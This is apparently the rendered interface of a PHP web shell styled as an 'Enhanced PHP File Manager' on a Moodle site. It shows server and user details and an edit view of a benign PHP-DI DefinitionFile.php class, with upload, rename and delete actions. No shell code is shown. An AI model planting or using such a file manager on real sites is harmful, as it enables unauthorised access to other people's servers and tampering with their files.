Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

Apache

System:

Linux 5.14.0-427.33.1.el9_4.x86_64

PHP Version:

7.4.33

User:

infinio

Directory:

/home/infinio/public_html/moodle/lib/php-di/php-di/src/Definition/Source

Free Space:

250.38 GB

🔧 Quick Actions

✏️ Editing: DefinitionFile.php

<?php

declare(strict_types=1);

namespace DI\Definition\Source;

use DI\Definition\Definition;

/**
 * Reads DI definitions from a file returning a PHP array.
 *
 * @author Matthieu Napoli <matthieu@mnapoli.fr>
 */
class DefinitionFile extends DefinitionArray
{
    private bool $initialized = false;

/**
     * @param string $file File in which the definitions are returned as an array.
     */
    public function __construct(
        private string $file,
        Autowiring $autowiring = null,
    ) {
        // Lazy-loading to improve performances
        parent::__construct([], $autowiring);
    }

public function getDefinition(string $name) : Definition|null
    {
        $this->initialize();

return parent::getDefinition($name);
    }

public function getDefinitions() : array
    {
        $this->initialize();

return parent::getDefinitions();
    }

/**
     * Lazy-loading of the definitions.
     */
    private function initialize() : void
    {
        if ($this->initialized === true) {
            return;
        }

$definitions = require $this->file;

if (! is_array($definitions)) {
            throw new \Exception("File $this->file should return an array of definitions");
        }

$this->addDefinitions($definitions);

$this->initialized = true;
    }
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: DefinitionFile.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation